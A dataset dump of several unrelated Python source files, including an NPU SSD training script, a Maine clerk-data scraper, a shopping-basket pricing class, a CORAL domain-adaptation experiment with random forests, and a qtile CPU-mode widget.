param_group['lr'] = new_lr\n\ndef setup_distributed(args):\n # Setup multi-GPU if necessary\n\n args.distributed = False\n if 'WORLD_SIZE' in os.environ:\n args.distributed = int(os.environ['WORLD_SIZE']) > 1\n os.environ['MASTER_ADDR'] = '127.0.0.1'\n os.environ['MASTER_PORT'] = '29688'\n if args.distributed:\n torch.npu.set_device(args.local_rank)\n torch.distributed.init_process_group(backend='hccl',\n world_size=int(os.environ['WORLD_SIZE']),\n rank=args.local_rank,\n )\n args.local_seed = set_seeds(args)\n # start timing here\n if args.distributed:\n args.N_gpu = torch.distributed.get_world_size()\n args.rank = torch.distributed.get_rank()\n else:\n args.N_gpu = 1\n args.rank = 0\n\n validate_group_bn(args.bn_group)\n\n return args\n\ndef train300_mlperf_coco(args):\n\n \n args = setup_distributed(args)\n\n if not args.distributed:\n torch.npu.set_device(args.device_id)\n \n # Build the model\n model_options = {\n 'use_nhwc' : args.nhwc,\n 'pad_input' : args.pad_input,\n 'bn_group' : args.bn_group,\n }\n\n ssd300 = SSD300(args, args.num_classes, **model_options)\n if args.checkpoint is not None:\n load_checkpoint(ssd300, args.checkpoint)\n\n ssd300.train()\n ssd300.npu()\n dboxes = dboxes300_coco()\n loss_func = Loss(dboxes)\n loss_func.npu()\n\n # Create optimizer. This must also be done after network_to_half.\n global_batch_size = (args.N_gpu * args.batch_size)\n log_event(key=constants.MODEL_BN_SPAN, value=args.bn_group*args.batch_size)\n log_event(key=constants.GLOBAL_BATCH_SIZE, value=global_batch_size)\n\n # mlperf only allows base_lr scaled by an integer\n base_lr = 2.5e-3\n requested_lr_multiplier = args.lr / base_lr\n adjusted_multiplier = max(1, round(requested_lr_multiplier * global_batch_size / 32))\n\n current_lr = base_lr * adjusted_multiplier\n current_momentum = 0.9\n current_weight_decay = args.wd\n static_loss_scale = args.loss_scale\n\n\n optim = apex.optimizers.NpuFusedSGD(ssd300.parameters(),\n lr=current_lr,\n momentum=current_momentum,\n weight_decay=current_weight_decay)\n ssd300, optim = amp.initialize(ssd300, optim, opt_level='O2', loss_scale=static_loss_scale,combine_grad=True)\n # Parallelize. Need to do this after network_to_half.\n if args.distributed:\n if args.delay_allreduce:\n print_message(args.local_rank, \"Delaying allreduces to the end of backward()\")\n ssd300 = DistributedDataParallel(ssd300, device_ids=[args.local_rank])\n\n log_event(key=constants.OPT_BASE_LR, value=current_lr)\n log_event(key=constants.OPT_LR_DECAY_BOUNDARY_EPOCHS, value=args.lr_decay_epochs)\n log_event(key=constants.OPT_LR_DECAY_STEPS, value=args.lr_decay_epochs)\n log_event(key=constants.OPT_WEIGHT_DECAY, value=current_weight_decay)\n if args.warmup is not None:\n log_event(key=constants.OPT_LR_WARMUP_STEPS, value=args.warmup)\n log_event(key=constants.OPT_LR_WARMUP_FACTOR, value=args.warmup_factor)\n\n # Model is completely finished -- need to create separate copies, preserve parameters across\n # them, and jit\n ssd300_eval = SSD300(args, args.num_classes, **model_options).npu()\n\n if args.use_fp16:\n convert_network(ssd300_eval, torch.half)\n\n # Get the existant state from the train model\n # * if we use distributed, then we want .module\n train_model = ssd300.module if args.distributed else ssd300\n ssd300_eval.load_state_dict(train_model.state_dict())\n ssd300_eval.eval()\n\n\n print_message(args.local_rank, \"epoch\", \"nbatch\", \"loss\")\n\n iter_num = args.iteration\n avg_loss = 0.0\n\n start_elapsed_time = time.time()\n last_printed_iter = args.iteration\n num_elapsed_samples = 0\n\n input_c = 4 if args.pad_input else 3\n example_shape = [args.batch_size, 300, 300, input_c] if args.nhwc else [args.batch_size, input_c, 300, 300]\n example_input = torch.randn(*example_shape).npu()\n\n if args.use_fp16:\n example_input = example_input.half()\n \n if args.jit:\n # DDP has some Python-side control flow. If we JIT the entire DDP-wrapped module,\n # the resulting ScriptModule will elide this control flow, resulting in allreduce\n # hooks not being called. If we're running distributed, we need to extract and JIT\n # the wrapped .module.\n # Replacing a DDP-ed ssd300 with a script_module might also cause the AccumulateGrad hooks\n # to go out of scope, and therefore silently disappear.\n module_to_jit = ssd300.module if args.distributed else ssd300\n if args.distributed:\n ssd300.module = torch.jit.trace(module_to_jit, example_input, check_trace=False)\n else:\n ssd300 = torch.jit.trace(module_to_jit, example_input, check_trace=False)\n # JIT the eval model too\n ssd300_eval = torch.jit.trace(ssd300_eval, example_input, check_trace=False)\n\n # do a dummy fprop & bprop to make sure cudnnFind etc. are timed here\n ploc, plabel = ssd300(example_input)\n\n # produce a single dummy \"loss\" to make things easier\n loss = ploc[0,0,0] + plabel[0,0,0]\n dloss = torch.randn_like(loss)\n # Cause cudnnFind for dgrad, wgrad to run\n loss.backward(dloss)\n\n encoder = build_ssd300_coder()\n\n evaluator = AsyncEvaluator(num_threads=1)\n\n log_end(key=constants.INIT_STOP)\n\n ##### END INIT\n\n # This is the first place we touch anything related to data\n ##### START DATA TOUCHING\n barrier()\n log_start(key=constants.RUN_START)\n barrier()\n\n train_pipe = prebuild_pipeline(args)\n \n train_loader, epoch_size = build_pipeline(args, training=True, pipe=train_pipe)\n if args.rank == 0:\n print(\"epoch size is: \", epoch_size, \" images\")\n\n val_loader, inv_map, cocoGt = build_pipeline(args, training=False)\n if args.profile_gc_off:\n gc.disable()\n gc.collect()\n\n ##### END DATA TOUCHING\n i_eval = 0\n block_start_epoch = 1\n log_start(key=constants.BLOCK_START,\n metadata={'first_epoch_num': block_start_epoch,\n 'epoch_count': args.evaluation[i_eval]})\n for epoch in range(args.epochs):\n optim.zero_grad()\n \n\n if epoch in args.evaluation:\n # Get the existant state from the train model\n # * if we use distributed, then we want .module\n train_model = ssd300.module if args.distributed else ssd300\n\n if args.distributed and args.allreduce_running_stats:\n if args.rank == 0:\n print(\"averaging bn running means and vars\")\n # make sure every node has the same running bn stats before\n # using them to evaluate, or saving the model for inference\n world_size = float(torch.distributed.get_world_size())\n for bn_name, bn_buf in train_model.named_buffers(recurse=True):\n if ('running_mean' in bn_name) or ('running_var' in bn_name):\n torch.distributed.all_reduce(bn_buf, op=dist.ReduceOp.SUM)\n bn_buf /= world_size\n\n if args.rank == 0:\n if args.save:\n print(\"saving model...\")\n if not os.path.isdir('./models'):\n os.mkdir('./models')\n torch.save({\"model\" : ssd300.state_dict()}, \"./models/iter_{}.pt\".format(iter_num))\n \n ssd300_eval.load_state_dict(train_model.state_dict())\n # Note: No longer returns, evaluation is abstracted away inside evaluator\n coco_eval(args,\n ssd300_eval,\n val_loader,\n cocoGt,\n encoder,\n inv_map,\n epoch,\n iter_num,\n evaluator=evaluator)\n log_end(key=constants.BLOCK_STOP, metadata={'first_epoch_num': block_start_epoch})\n if epoch != max(args.evaluation):\n i_eval += 1\n block_start_epoch = epoch + 1\n log_start(key=constants.BLOCK_START,\n metadata={'first_epoch_num': block_start_epoch,\n 'epoch_count': (args.evaluation[i_eval] -\n args.evaluation[i_eval - 1])})\n\n if epoch in args.lr_decay_epochs:\n current_lr *= args.lr_decay_factor\n print_message(args.rank, \"lr decay step #\" + str(bisect(args.lr_decay_epochs, epoch)))\n for param_group in optim.param_groups:\n param_group['lr'] = current_lr\n\n log_start(key=constants.EPOCH_START,\n metadata={'epoch_num': epoch + 1,\n 'current_iter_nufm': iter_num})\n\n profile = Profile(start_step=int(os.getenv('PROFILE_START_STEP', 10)),\n profile_type=os.getenv('PROFILE_TYPE'))\n\n for i, data in enumerate(train_loader):\n (img, bbox, label, _) = data\n img = img.npu()\n bbox = bbox.npu()\n label = label.npu()\n if args.profile_start is not None and iter_num == args.profile_start:\n torch.npu.profiler.start()\n torch.npu.synchronize()\n if args.profile_nvtx:\n torch.autograd._enable_profiler(torch.autograd.ProfilerState.NVTX)\n\n if args.profile is not None and iter_num == args.profile:\n if args.profile_start is not None and iter_num >=args.profile_start:\n # we turned npu and nvtx profiling on, better turn it off too\n if args.profile_nvtx:\n torch.autograd._disable_profiler()\n torch.npu.profiler.stop()\n sys.exit()\n\n if args.warmup is not None:\n lr_warmup(optim, args.warmup, iter_num, epoch, current_lr, args)\n\n if (img is None) or (bbox is None) or (label is None):\n print(\"No labels in batch\")\n continue\n\n profile.start()\n ploc, plabel = ssd300(img)\n ploc, plabel = ploc.float(), plabel.float()\n\n N = img.shape[0]\n bbox.requires_grad = False\n label.requires_grad = False\n # reshape (N*8732X4 -> Nx8732x4) and transpose (Nx8732x4 -> Nx4x8732)\n bbox = bbox.view(N, -1, 4).transpose(1,2).contiguous()\n # reshape (N*8732 -> Nx8732) and cast to Long\n label = label.view(N, -1).long()\n loss = loss_func(ploc, plabel, bbox, label)\n\n if np.isfinite(loss.item()):\n avg_loss = 0.999*avg_loss + 0.001*loss.item()\n else:\n print(\"model exploded (corrupted by Inf or Nan)\")\n sys.exit()\n\n num_elapsed_samples += N\n # if args.rank == 0 and iter_num % args.print_interval == 0:\n if args.rank == 0 and iter_num % args.print_interval == 0:\n end_elapsed_time = time.time()\n elapsed_time = end_elapsed_time - start_elapsed_time\n\n avg_samples_per_sec = num_elapsed_samples * args.N_gpu / elapsed_time\n\n print(\"Epoch:{:4d}, Iteration: {:6d}, Loss function: {:5.3f}, Average Loss: {:.3f},\\\n avg. samples / sec: {:.2f}\".format(epoch, iter_num, loss.item(),\\\n avg_loss, avg_samples_per_sec), end=\"\\n\")\n\n last_printed_iter = iter_num\n start_elapsed_time = time.time()\n num_elapsed_samples = 0\n\n with amp.scale_loss(loss, optim) as scaled_loss:\n scaled_loss.backward()\n\n\n optim.step()\n\n # Likely a decent skew here, let's take this opportunity to set the\n # gradients to None. After DALI integration, playing with the\n # placement of this is worth trying.\n\n optim.zero_grad()\n profile.end()\n\n # Don't check every iteration due to cost of broadcast\n if iter_num % 20 == 0:\n finished = check_async_evals(args, evaluator, args.threshold)\n\n if finished:\n return True\n\n iter_num += 1\n\n log_end(key=constants.EPOCH_STOP, metadata={'epoch_num': epoch + 1})\n\n return False\n\ndef main():\n configure_logger(constants.SSD)\n log_start(key=constants.INIT_START, log_all_ranks=True)\n args = parse_args()\n sys.stdout = Logger(\"test/output/%s/%s_%s.log\"%(args.device_id,args.tag,args.device_id))\n # 1p\n sys.stderr = Logger(\"test/output/%s/%s_%s.log\"%(args.device_id,args.tag,args.device_id))\n if args.local_rank == 0:\n print(args)\n\n # make sure the epoch lists are in sorted order\n args.evaluation.sort()\n args.lr_decay_epochs.sort()\n\n validate_arguments(args)\n\n torch.set_num_threads(1)\n torch.backends.cudnn.benchmark = not args.profile_cudnn_get\n\n success = train300_mlperf_coco(args)\n status = 'success' if success else 'aborted'\n\n # end timing here\n log_end(key=constants.RUN_STOP, metadata={'status': status})\n\n\nif __name__ == \"__main__\":\n option = {}\n option[\"NPU_FUZZY_COMPILE_BLACKLIST\"] = '''BNTrainingReduce,BNTrainingReduceGrad,\n BNTrainingUpdate,BNTrainingUpdateGrad'''\n torch.npu.set_option(option)\n main()\n","sub_path":"PyTorch/contrib/cv/detection/SSD-Resnet/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":19161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"420387196","text":"import csv\nimport json\nfrom io import StringIO\nfrom common import cache_request, to_list\n\n\ndef record(datum):\n return {\n 'locale': datum[0],\n 'city': datum[0],\n 'official': datum[1],\n 'address': datum[2:5],\n 'phones': to_list(datum[5]),\n 'faxes': to_list(datum[6]),\n }\n\n\nif __name__ == '__main__':\n text = cache_request('https://www.maine.gov/tools/whatsnew/index.php?topic=cec_clerks_registrars&v=text')\n if text.startswith(''):\n text = text[len('<plaintext>'):]\n reader = csv.reader(StringIO(text), delimiter='|')\n csv_data = [line for line in reader if line]\n\n json_data = [record(datum) for datum in csv_data]\n with open('public/maine.json', 'w') as fh:\n json.dump(json_data, fh)\n","sub_path":"states/maine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"79297822","text":"import math\nfrom collections import defaultdict\nfrom money.money import Money\nfrom money.currency import Currency\n\n\nclass ShoppingApp(object):\n\n # Here we have the predefined product catalogue as requirements didn't ask for any db :)\n # i did not see any purposed of having these data in some kind of structured json like data, as that can be\n # later on structured if a db is involved and data is mined out with some kind of a templating method\n product_catalogue = {\"Baked Beans\": 0.99, \"Biscuits\": 1.20, \"Sardines\": 1.89, \"Shampoo Small\": 2.00,\n \"Shampoo Medium\": 2.50, \"Shampoo Large\": 3.50}\n # adding sardines and baked beans here, this dictionary can be extended later on\n # if new offer is going to appear - this also can be replaced with a db query\n discount_catalog = [\"Basket Beans\", \"Sardines\"]\n\n # maybe this is going to be a list instead of a dictionary because new offers may come in.\n # So the usage of a set would not be a good choice\n # then the usage of a set would be much more efficient from a element accessing perspective\n product_offer = [\"Shampoo Small\", \"Shampoo Medium\", \"Shampoo Large\"]\n\n def __init__(self):\n self.items_in_basket = defaultdict()\n self.total = 0\n self.sub_total = 0\n self.applied_discounts = 0\n\n # in case we want to extend our basket we can ad further elements into it - can be replace with db query\n def add_item_to_basket(self, product_name, product_price):\n if product_name is not None and product_name not in self.product_catalogue:\n self.product_catalogue.update({product_name: product_price})\n\n def populate_basket_with_items(self, item_name, item_quantity):\n # edge cases can be considered like if we are talking about a bread then we can by 1/2 for 1/2 of price\n if item_name is not None and item_quantity >= 1:\n self.items_in_basket.update({item_name: item_quantity})\n\n def doing_the_math(self):\n for product_name, product_quantity in self.items_in_basket.items():\n get_price = self.product_catalogue[product_name]\n # this is going to calculate the product total and later on the necessary\n # Money and Currency functions will do the roundings\n if product_quantity:\n self.sub_total += (product_quantity * get_price)\n\n if product_name == \"Sardines\" and product_quantity:\n self.applied_discounts += product_quantity*get_price*0.25\n\n elif product_name == \"Baked Beans\" and product_quantity:\n self.applied_discounts += int(product_quantity/3)*get_price\n\n self.total = self.rounding_function((self.sub_total - self.applied_discounts), 2)\n self.sub_total = self.rounding_function(self.sub_total, 2)\n self.applied_discounts = self.rounding_function(self.applied_discounts, 2)\n\n # this was a another approach as i wanted to make a predefined catalog with the offers\n # wasn't actually a really good idea because of performance issues\n # would that been easier if theres a db so we could read data out(the offers)\n # dynamically data reading would increase perfromance of the code\n # for stuff in self.discount_catalog:\n # if stuff == \"Baked Beans\":\n\n # maybe this could be written much more better\n # For example instead of a dictionary the overall totals could be just written out\n # as a report to make it better from a performance perspective\n def calculate_bill(self):\n self.doing_the_math()\n print(self.sub_total)\n print(self.applied_discounts)\n print(self.total)\n\n return {\"sub_total_bill\": Money(str(self.sub_total), Currency.GBP),\n \"discount_applied\": Money(str(self.applied_discounts), Currency.GBP),\n \"total_calculated\": Money(str(self.total), Currency.GBP)}\n\n def doing_the_math_with_new_offer(self):\n\n total_quantity = 0\n offer_price = 0\n\n for product_name, product_quantiy in self.items_in_basket.items():\n price = self.product_catalogue[product_name]\n offer_price = price if offer_price == 0 else min(price, offer_price)\n\n if product_quantiy:\n self.sub_total += (product_quantiy * price)\n\n if product_name in self.product_offer:\n\n if product_quantiy > 2:\n self.applied_discounts += int(product_quantiy/3)*price\n total_quantity += product_quantiy - int(product_quantiy/3)*product_quantiy\n else:\n total_quantity += product_quantiy\n\n # here we are going to calculate the last edge case: if stuff exceeds 2\n if total_quantity > 2:\n self.applied_discounts += int(total_quantity/3)*offer_price\n total_quantity -= int(total_quantity/3)*total_quantity\n\n self.sub_total = self.rounding_function(self.sub_total, 2)\n self.applied_discounts = self.rounding_function(self.applied_discounts, 2)\n self.total = self.rounding_function(self.sub_total - self.applied_discounts, 2)\n\n # https://stackoverflow.com/questions/2356501/how-do-you-round-up-a-number-in-python\n @staticmethod\n def rounding_function(number, decimals=0):\n print(number)\n multiplier = 10 ** decimals\n return math.ceil(number * multiplier) / multiplier\n\n def calculate_bill_if_offer(self):\n\n self.doing_the_math_with_new_offer()\n print(self.sub_total)\n return {\"sub_total_bill\": Money(str(self.sub_total), Currency.GBP),\n \"discount_applied\": Money(str(self.applied_discounts), Currency.GBP),\n \"total_calculated\": Money(str(self.total), Currency.GBP)}\n # now if we want to get rid of some purchased item then we can call this function\n\n def lets_get_rid_of_something(self, product_name, product_quantity):\n\n try:\n if product_name in self.items_in_basket and product_quantity >= self.items_in_basket[product_name]:\n self.items_in_basket.pop(product_name, None)\n self.items_in_basket[product_name] -= product_quantity\n except(KeyError, RuntimeError):\n pass\n # we can write a logger here, just to log the runtime errors or when catching an error\n # in order to be able to identify issues\n\n def final_checkout(self, cash):\n\n if cash < self.sub_total:\n return \"You need more money\"\n balance = cash - self.sub_total\n\n return balance\n\n # this class can be moved to another module if extended but now i guess there is no need\n # to move it to another one as its too small\n # this class is intended to do the test operations\n\n # code removed used for debugging\n\n# if __name__ == '__main__':\n#\n# instanciate = ShoppingApp()\n#\n# Basket = {\"Baked Beans\": 4, \"Biscuits\": 1}\n#\n# for product_name, product_quantity in Basket.items():\n# print(product_name)\n# instanciate.populate_basket_with_items(product_name, product_quantity)\n#\n# testing_bills = list(instanciate.calculate_bill().values())\n# print(type(testing_bills[0]))\n","sub_path":"shopping_basket/shopping_app.py","file_name":"shopping_app.py","file_ext":"py","file_size_in_byte":7257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"132574127","text":"def paraSplit(line):\r\n arr = line.split(\"=\")\r\n return (arr[0],arr[1])\r\n \r\n \r\ndef readParas(): \r\n paras = {'host':'127.0.0.1'}\r\n with open(\"paras\", \"r\") as fr:\r\n lines = fr.readlines()\r\n for line in lines:\r\n line = line.strip()\r\n key, value = paraSplit(line)\r\n paras[key] = value\r\n \r\n return paras","sub_path":"Customers/HLo/www/python/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562022402","text":"import argparse\nimport datetime\nparser = argparse.ArgumentParser(description='manual to this script')\n\ntoday = datetime.date.today()\ntoday = today.strftime('%Y-%m-%d') \n\nparser.add_argument('-sd','--start_date', type=str,help='input date',dest='start_date',default=today)\nparser.add_argument('-ed','--end_date', type=str,help='input date',dest='end_date',default=today)\nargs = parser.parse_args()\n\ninput_start_date = datetime.datetime.strptime(args.start_date, '%Y-%m-%d').date()\ninput_end_date = datetime.datetime.strptime(args.end_date, '%Y-%m-%d').date()\n\n\n# print(input_date)\n# print(type(input_date))","sub_path":"treeargparse.py","file_name":"treeargparse.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349282324","text":"import os\nimport sys\nimport numpy as np\nimport argparse\n\nimport time\n\nfrom easydict import EasyDict as edict\nfrom tqdm import trange\n# from sklearn.model_selection import KFold\nfrom sklearn.ensemble import RandomForestClassifier as rfc\n\n#for CORAL\nimport scipy.io\nimport scipy.linalg\n\nYOUR_PATH = os.environ['YOUR_PATH']\nsys.path.insert(0, os.path.join(YOUR_PATH, 'fNIRS-mental-workload-classifiers/helpers'))\nimport models\nimport brain_data\nfrom utils import generic_GetTrainValTestSubjects, seed_everything, featurize, makedir_if_not_exist, plot_confusion_matrix, save_pickle, write_performance_info_FixedTrainValSplit, write_program_time, write_inference_time\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--seed', default=0, type=int, help='random seed')\nparser.add_argument('--data_dir', default='../data/Leon/Visual/size_2sec_10ts_stride_3ts/', help='folder to the train data')\nparser.add_argument('--window_size', default=10, type=int, help='window size')\nparser.add_argument('--classification_task', default='four_class', help='binary or four-class classification')\nparser.add_argument('--result_save_rootdir', default='./experiments', help='folder to the result')\nparser.add_argument('--setting', default='train64test7_bucket1', help='which predefined train test split scenario')\n\n#parameter for CORAL domain adapation\nparser.add_argument('--adapt_on', default='train_100', help=\"what portion of the test subject' train set is used for adaptation\")\n\n#CORAL implementation:\n#https://github.com/jindongwang/transferlearning/blob/master/code/traditional/CORAL/CORAL.py\ndef CoralTransform(Xs, Xt):\n '''\n Perform CORAL on the source domain features\n :param Xs: ns * n_feature, source feature\n :param Xt: nt * n_feature, target feature\n :return: New source domain features\n '''\n cov_src = np.cov(Xs.T) + np.eye(Xs.shape[1])\n cov_tar = np.cov(Xt.T) + np.eye(Xt.shape[1])\n \n A_coral = np.dot(scipy.linalg.fractional_matrix_power(cov_src, -0.5),\n scipy.linalg.fractional_matrix_power(cov_tar, 0.5))\n \n Xs_new = np.real(np.dot(Xs, A_coral))\n return Xs_new\n \n \n\ndef train_classifier(args_dict, train_subjects, val_subjects, test_subjects):\n \n #convert to string list\n train_subjects = [str(i) for i in train_subjects]\n val_subjects = [str(i) for i in val_subjects]\n test_subjects = [str(i) for i in test_subjects]\n \n #parse args:\n data_dir = args_dict.data_dir\n window_size = args_dict.window_size\n classification_task = args_dict.classification_task \n result_save_rootdir = args_dict.result_save_rootdir\n# setting = args_dict.setting #does not need 'setting' inside train_classifier \n adapt_on = args_dict.adapt_on\n num_chunk_this_window_size = 1488\n\n \n if classification_task == 'binary':\n data_loading_function = brain_data.read_subject_csv_binary\n confusion_matrix_figure_labels = ['0back', '2back']\n \n# elif classification_task == 'four_class':\n# data_loading_function = brain_data.read_subject_csv\n# confusion_matrix_figure_labels = ['0back', '1back', '2back', '3back']\n \n else:\n raise NameError('not supported classification type')\n \n \n \n #create the group data\n group_model_sub_train_feature_list = []\n group_model_sub_train_label_list = []\n \n for subject in train_subjects:\n sub_feature, sub_label = data_loading_function(os.path.join(data_dir, 'sub_{}.csv'.format(subject)), num_chunk_this_window_size=num_chunk_this_window_size)\n \n group_model_sub_train_feature_list.append(sub_feature)\n group_model_sub_train_label_list.append(sub_label)\n \n group_model_sub_train_feature_array = np.concatenate(group_model_sub_train_feature_list, axis=0).astype(np.float32)\n group_model_sub_train_label_array = np.concatenate(group_model_sub_train_label_list, axis=0)\n \n transformed_group_model_sub_train_feature_array = featurize(group_model_sub_train_feature_array, classification_task)\n \n \n \n #create the group val data\n group_model_sub_val_feature_list = []\n group_model_sub_val_label_list = []\n \n for subject in val_subjects:\n sub_feature, sub_label = data_loading_function(os.path.join(data_dir, 'sub_{}.csv'.format(subject)), num_chunk_this_window_size=num_chunk_this_window_size)\n \n group_model_sub_val_feature_list.append(sub_feature)\n group_model_sub_val_label_list.append(sub_label)\n \n group_model_sub_val_feature_array = np.concatenate(group_model_sub_val_feature_list, axis=0).astype(np.float32)\n group_model_sub_val_label_array = np.concatenate(group_model_sub_val_label_list, axis=0)\n \n transformed_group_model_sub_val_feature_array = featurize(group_model_sub_val_feature_array, classification_task)\n\n \n \n #Perform domain adapation for each test subject in this bucket\n for test_subject in test_subjects:\n \n #load this subject's test data\n sub_feature_array, sub_label_array = data_loading_function(os.path.join(data_dir, 'sub_{}.csv'.format(test_subject)), num_chunk_this_window_size=num_chunk_this_window_size)\n \n #sainty check for this test subject's data\n sub_data_len = len(sub_label_array)\n assert sub_data_len == int(num_chunk_this_window_size/2), 'subject {} len is not {} for binary classification'.format(test_subject, int(num_chunk_this_window_size/2))\n \n half_sub_data_len = int(sub_data_len/2)\n print('half_sub_data_len: {}'.format(half_sub_data_len), flush=True)\n \n #first half of the test subject's data is train set, the second half is test set\n sub_test_feature_array = sub_feature_array[half_sub_data_len:]\n \n transformed_sub_test_feature_array = featurize(sub_test_feature_array, classification_task)\n sub_test_label_array = sub_label_array[half_sub_data_len:]\n\n \n sub_adapt_feature_array = sub_feature_array[:half_sub_data_len]\n if adapt_on == 'train_100':\n transformed_sub_adapt_feature_array = featurize(sub_adapt_feature_array, classification_task)\n print('adapt on data size: {}'.format(len(transformed_sub_adapt_feature_array)))\n \n elif adapt_on == 'train_50':\n transformed_sub_adapt_feature_array = featurize(sub_adapt_feature_array[-int(0.5*half_sub_data_len):], classification_task)\n print('adapt on data size: {}'.format(len(transformed_sub_adapt_feature_array)))\n \n else:\n raise NameError('on the predefined gride')\n\n \n start_time = time.time()\n CORAL_group_model_sub_train_feature_array = CoralTransform(transformed_group_model_sub_train_feature_array, transformed_sub_adapt_feature_array)\n CORAL_group_model_sub_val_feature_array = CoralTransform(transformed_group_model_sub_val_feature_array, transformed_sub_adapt_feature_array)\n \n \n #cross validation\n max_features_list = [0.166, 0.333, 0.667, 0.1]\n min_samples_leaf_list = [4, 16, 64] \n \n\n for max_features in max_features_list:\n for min_samples_leaf in min_samples_leaf_list:\n experiment_name = 'MaxFeatures{}_MinSamplesLeaf{}'.format(max_features, min_samples_leaf)\n\n \n #derived args\n result_save_subjectdir = os.path.join(result_save_rootdir, test_subject, experiment_name)\n result_save_subject_checkpointdir = os.path.join(result_save_subjectdir, 'checkpoint')\n result_save_subject_predictionsdir = os.path.join(result_save_subjectdir, 'predictions')\n result_save_subject_resultanalysisdir = os.path.join(result_save_subjectdir, 'result_analysis')\n result_save_subject_trainingcurvedir = os.path.join(result_save_subjectdir, 'trainingcurve')\n\n makedir_if_not_exist(result_save_subjectdir)\n makedir_if_not_exist(result_save_subject_checkpointdir)\n makedir_if_not_exist(result_save_subject_predictionsdir)\n makedir_if_not_exist(result_save_subject_resultanalysisdir)\n makedir_if_not_exist(result_save_subject_trainingcurvedir)\n\n result_save_dict = dict() \n\n #create Logistic Regression object\n model =rfc(max_features=max_features, min_samples_leaf=min_samples_leaf).fit(CORAL_group_model_sub_train_feature_array, group_model_sub_train_label_array)\n\n # val performance \n val_accuracy = model.score(CORAL_group_model_sub_val_feature_array, group_model_sub_val_label_array) * 100\n\n result_save_dict['bestepoch_val_accuracy'] = val_accuracy\n\n # test performance\n inference_start_time = time.time()\n test_accuracy = model.score(transformed_sub_test_feature_array, sub_test_label_array) * 100\n test_logits = model.predict_proba(transformed_sub_test_feature_array)\n test_class_predictions = test_logits.argmax(1)\n inference_end_time = time.time()\n inference_time = inference_end_time - inference_start_time\n\n result_save_dict['bestepoch_test_accuracy'] = test_accuracy\n result_save_dict['bestepoch_test_logits'] = test_logits.copy()\n result_save_dict['bestepoch_test_class_labels'] = sub_test_label_array.copy()\n\n plot_confusion_matrix(test_class_predictions, sub_test_label_array, confusion_matrix_figure_labels, result_save_subject_resultanalysisdir, 'test_confusion_matrix.png')\n\n save_pickle(result_save_subject_predictionsdir, 'result_save_dict.pkl', result_save_dict)\n\n #write performance to txt file\n write_performance_info_FixedTrainValSplit('NA', result_save_subject_resultanalysisdir, val_accuracy, test_accuracy)\n \n end_time = time.time()\n total_time = end_time - start_time\n write_program_time(result_save_rootdir, total_time)\n write_inference_time(result_save_rootdir, inference_time)\n\n\n\n \nif __name__=='__main__':\n \n #parse args\n args = parser.parse_args()\n \n seed = args.seed\n data_dir = args.data_dir\n window_size = args.window_size\n classification_task = args.classification_task\n result_save_rootdir = args.result_save_rootdir\n setting = args.setting\n adapt_on = args.adapt_on\n \n test_subjects, train_subjects, val_subjects = generic_GetTrainValTestSubjects(setting)\n \n #sanity check \n print('data_dir: {} type: {}'.format(data_dir, type(data_dir)))\n print('window_size: {} type: {}'.format(window_size, type(window_size)))\n print('classification_task: {} type: {}'.format(classification_task, type(classification_task)))\n print('result_save_rootdir: {} type: {}'.format(result_save_rootdir, type(result_save_rootdir)))\n print('setting: {} type: {}'.format(setting, type(setting)))\n print('adapt_on: {} type: {}'.format(adapt_on, type(adapt_on)))\n\n \n args_dict = edict()\n args_dict.data_dir = data_dir\n args_dict.window_size = window_size\n args_dict.classification_task = classification_task\n args_dict.result_save_rootdir = result_save_rootdir\n# args_dict.setting = setting #does not need 'setting' inside train_classifier \n args_dict.adapt_on = adapt_on\n \n seed_everything(seed)\n train_classifier(args_dict, train_subjects, val_subjects, test_subjects)\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n","sub_path":"domain_adaptation/run_GenericRandomForest_with_CORAL.py","file_name":"run_GenericRandomForest_with_CORAL.py","file_ext":"py","file_size_in_byte":11688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472048728","text":"from libqtile.widget import base\n\n\nclass She(base.InLoopPollText):\n ''' Widget to display the Super Hybrid Engine status.\n can display either the mode or CPU speed on eeepc computers.'''\n\n defaults = [\n ('device', '/sys/devices/platform/eeepc/cpufv', 'sys path to cpufv'),\n ('format', 'speed', 'Type of info to display \"speed\" or \"name\"'),\n ('update_interval', 0.5, 'Update Time in seconds.'),\n ]\n\n def __init__(self, **config):\n base.InLoopPollText.__init__(self, **config)\n self.add_defaults(She.defaults)\n self.modes = {\n '0x300': {'name': 'Performance', 'speed': '1.6GHz'},\n '0x301': {'name': 'Normal', 'speed': '1.2GHz'},\n '0x302': {'name': 'PoswerSave', 'speed': '800MHz'}\n }\n\n def poll(self):\n with open(self.device) as f:\n mode = f.read().strip()\n if mode in self.modes:\n return self.modes[mode][self.format]\n else:\n return mode\n","sub_path":"libqtile/widget/she.py","file_name":"she.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"90550006","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport enum\nimport itertools\nimport sys\n\ntry:\n import pycodestyle\nexcept ImportError:\n import pep8 as pycodestyle\n\n# A conscious decision has been made to use an (to the best of my knowledge)\n# undocumented and somewhat private lib2to3 package here.\n#\n# I trust the automated test suite to catch trivial issues if any backwards\n# incompatible changes are made to lib2to3 that affect us so we can fix them.\n#\n# Jakub\n\nfrom lib2to3 import pytree\nfrom lib2to3.pgen2.driver import Driver\nfrom lib2to3.pgen2 import token\nfrom lib2to3.pygram import python_grammar_no_print_statement\n\n__version__ = '0.1.4'\n\n\n@enum.unique\nclass ErrorCode(enum.Enum):\n S100 = 'First argument on the same line'\n S101 = 'Multi-line construct missing trailing comma'\n\n\nclass 